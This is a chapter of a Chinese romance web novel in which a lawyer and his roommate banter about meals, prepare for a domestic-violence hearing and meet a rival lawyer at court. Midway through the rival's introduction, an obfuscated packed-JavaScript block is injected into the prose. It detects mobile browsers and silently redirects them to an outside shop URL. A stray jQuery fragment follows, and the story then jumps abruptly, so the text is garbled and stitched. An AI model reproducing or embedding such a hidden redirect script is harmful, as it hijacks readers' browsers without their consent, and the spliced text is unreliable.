最后,顾忌明识趣地没有问储藏室怎么是开着的,没有撬锁痕迹,又不是温聿开的,他心底有猜测来的人是谁,只要不问、不寻求一个明确的答案,他就可以自欺欺人地假装温聿和对方已经没有了联系。
为什么在意温聿和别人有没有联系,顾忌明理所当然地选择了忽视。
像他们这种直男,是不需要思考这些的。
他需要思考的,是如何混进A大去找温聿上课,晚饭和温聿吃什么,以及明天早晨给温聿做什么饭。
顾忌明不想和温聿在学校吃饭,因为:
周一,顾忌明问:“温聿,今天吃什么?”
温聿:“蟹籽鲜虾云吞。”
顾忌明道:“好的。”
周二,顾忌明问:“温聿,今天吃什么?”
温聿道:“蟹籽鲜虾云吞。”
顾忌明道:“好的。”
周三,顾忌明问:“那今天吃什么呢!”
温聿道:“蟹籽鲜虾云吞。”
顾忌明:“你真的很喜欢蟹籽鲜虾云吞啊。”
周四,顾忌明问:“那今天呢?”
温聿道:“蟹籽鲜虾云吞。”
顾忌明:“……”
周五,顾忌明直接问:“还是蟹籽鲜虾云吞?”
于是他得到了一周以来温聿唯一不同的回答:“对。”
顾忌明:“……”
这不是吃没吃腻的问题,人怎么能一周只吃一道菜!这根本就不营养!
于是周六,顾忌明提着饭盒美滋滋去学校找温聿。
温聿问:“这是什么?”
顾忌明十分得意:“蟹籽鲜虾云吞!”
温聿:“……”
温聿尝了一口,给出了评价:“不如学校的好吃。”
于是周天,温聿又去吃蟹籽鲜虾云吞了。
顾忌明为自己的厨艺打抱不平:“学校里的哪有我做的健康!学校里的都是地沟油和死老鼠肉!”
温聿:“。”
温聿对他的控诉报之冷眼相待。
顾忌明大受打击,委屈地躲在厨房研究了一晚上蟹籽鲜虾云吞,温聿路过厨房时,还能闻见里面传来的活虾腥味。
爱怎么折腾怎么折腾吧。
温聿懒得管他。
温聿最近很忙,喻情的案子要开庭了,他这几天一直在跟对方联系,不停地去取证、改文书。
所以顾忌明这几天都是独守空床。
为什么是独守空床呢,因为顾忌明还没有去买主卧的床。
温聿问他,他就说没买到合适的。
温聿冷笑连连。
这就导致,温聿只能被迫跟他挤在次卧,他晚上经常性地给温聿说话,温聿直接闭眼休息不理他,把他当助眠主播。
其实挺管用的。
温聿连着好几天都睡得不错。
至于纪起,温聿从那天晚上后就再也没见到过纪起,好像学校那边他也请假了。
温聿不清楚,也没有想关心的欲望。
月底,喻情的开庭如期而至。
温聿在主卧迟迟没有出来,顾忌明看着时间,有点担心,他象征性地敲了两下门,拧开了:“温——”
他的话语被眼前的场景直接堵死在了嗓子眼里,眼睛微微睁大。
温聿上身只穿了一件黑色的衬衫,领带还没有打,松松垮垮地挂在脖颈处,衬衫有点长,可以盖住屁股,再往下是两条笔直的、雪白的长腿,大腿中间,绑着两条黑色的皮带——衬衫夹。黑色的皮质衬衫夹在雪白的灯光下泛着暗沉的光,紧紧勒着温聿大腿上的皮肉,仔细去看,衬衫夹周围的肉因为勒得紧,还透着些许红色。
好紧。顾忌明没由来想。
顾忌明来得时候,温聿已经穿好得差不多了,只差一条裤子。
见顾忌明的目光一直落在自己腿上,温聿干净利索地提上了裤子,他紧了一下腰带,窄薄的腰身登时显露了出来。
“咔哒”。
温聿扣好了腰带,他每次开庭都会穿得很正式:高端定制的深灰色西装,里面的黑色衬衫一丝不苟地把扣子扣到最上方喉结处,手腕上戴的表是很低调简约的两针腕表,皮质表带扣住他细细的手腕,藏匿在整齐的袖口中,只有表盘偶尔泄露出几分金色的光。擦得干净发光的皮鞋,踏在地上会发出勾人心弦的哒哒声,鞋底是猩红色的。
他难得把头发梳起来,露出了光洁饱满的额头,如此一来,他那双锋利的眼睛便彻底没了柔和它的事物。抬眸间压迫感更甚。
于是他身上那股高高在上的锋利感更强烈了。
温聿微微垂头调整着衣服,微微抬眸斜看了顾忌明一眼:“看满意了?”
顾忌明的脸“腾”一下红了个彻底,他猛地关紧门,狼狈地逃回了客厅,他蹲在地上,抱头自语:“我是直男、我是直男、我是直男……”
事到如今念这句咒语也没什么用了,顾忌明满脑子都是白花花的大腿,须臾,他只觉得鼻下一热,手一摸,鲜红的血。
顾忌明手忙脚乱地抽纸塞鼻子,绝望地想,不要再想了。直男。
啊——!
等顾忌明调整好了,温聿也已经收拾好了。
“我送你去吧!”顾忌明忍不住把目光落在温聿身上,一遍又一遍地看他。
温聿:“……”
总有种被目光猥亵的不适感。
温聿喝了口水,将杯子不轻不重地放在桌面上,“哒”地一下,在安静的客厅听得人心里发慌。
顾忌明:“……”
又生气。
不让送就不让送,干嘛这么凶。
然而温聿只是将车钥匙丢到了他的怀里,朝门口矜持地抬了下下巴:“知道市法院怎么去吗?”
顾忌明愣了一下,后知后觉温聿是答应他去送他了,登时受宠若惊:“知道知道,我送你去!”
温聿看了眼时间,微微点头:“走吧。”
温聿不爱开车,既然顾忌明乐得给他当司机,他自然也愿意解放双手。
两人到达法院前时,喻情还有他的爸爸妈妈已经在那里等着了。
除此之外,还有一位穿着正装的律师。
“温聿!”
温聿一出现,那律师就第一个发现了他,一边大喊着一边跑了过来。
他打量了一下温聿,旋即“哼”了一声:“这次我一定会赢你的。”
这人,对温聿不客气是真的,但也没到恨意的程度,顾忌明有些搞不清楚这人想干嘛,只是他对温聿实在不礼貌,他冷笑一声:“你谁啊?”
对方还没开口,温聿倒是先淡淡地开了口:“靳云亭,入行一年一共打了一百二十六件案子,仅败诉了二十六件。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323741|151473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
靳云亭磨了磨后槽牙:“你放屁!明明是一百二十五件,败诉二十五件。”
温聿抬了抬下巴:“今天会是你第26次败诉。”
“你!”靳云亭气结,看着温聿说不出来话。他当然说不出,因为他仅仅败诉的26件,全部都是败诉给了温聿!
一开始靳云亭败诉的时候,看着温聿那股瞧不起人的高贵感就烦。而后便刻意去找温聿打的案子,试图扳回一局。
结果不仅没赢过,还连输24次!
靳云亭气笑了:“今天一定赢你。”
温聿微微一点头:“除了第一次,这是你第二十五次说这句话。”
靳云亭:“……”
他根本就是看不起我!
靳云亭气得脸红耳赤。
温聿绕过了靳云亭,迈步走向了喻情她们。
顾忌明跟在温聿后面,路过靳云亭时冷哼了一声:“我们温律师的手下败将。”
靳云亭两眼一黑,血压狂飙,气得跳了好几下:“我都说了我今天一定会赢!”
“我供你吃供你穿供你上大学,”中年男人啐了一口,“你就是这么报答我的?撺掇你妈跟我离婚!没良心的!”
“妈的……死娘们,”对待他老婆,中年男人明显就没有对喻情那般收敛了,他的神色狰狞,恨意明显,“老子养了你这么多年,不过是打了你几下,你就跑。不要脸。”
他气不过,习惯性抬手就要扇人。
喻情护着她妈朝后退了一步,中年男人怒火更甚,想要越过喻情把喻情妈妈拽过来。
温聿不紧不慢地站到了喻情母女面前,他比中年男人高很多,微微垂眸,居高临下地看着中年男人。
淡漠的威压瞬间将中年男人的焰火浇灭,中年男人被温聿注视着,没由来心底发寒。
温聿抬起食指放在嘴边,只说了两个字:“闭嘴。”
中年男人心头一惊,闭上了嘴。
靳云亭也赶紧跑了过来,他只是想胜过温聿,对这种家暴男还是没什么好脾气的:“法院门口,吵吵闹闹算什么样子?!”
中年男人连忙矮身道歉:“不好意思哈,我也是太生气了……”
“行了,”温聿平静道,“该进去了。”
顾忌明也跟着进去了,这场案子允许旁听。因为开庭时间是在周三,所以人很少,除了顾忌明,还有一位中年女性在。
顾忌明好奇地多看了她几眼,这女人约莫四五十岁,穿着很时髦,看着像是哪个公司的高管。
这些都不是吸引顾忌明的主要原因,最重要的是——顾忌明觉得她身上有一股莫名的熟悉感。可是顾忌明肯定自己绝对没有见过她。
真奇怪?
莫非自己当时失忆时忘记的不止是温聿一个人?
但很快,顾忌明就思索这些了,因为开庭了。
这是他第一次见到在法庭上的温聿,不同于讲课时饱读诗书出口成章的内敛多学之感,法庭上的温聿锋芒毕露、气势逼人,宛如一把上乘锋利的宝剑。
法庭之上,国徽之下。
外面的光透过窗户落在温聿身上,平添几分神圣感。
这是他从学习法学到从事律师十年来从未磨灭的信仰,正如他当年宣誓的一样——
维护当事人合法权益,维护法律正确实施,维护社会公平正义。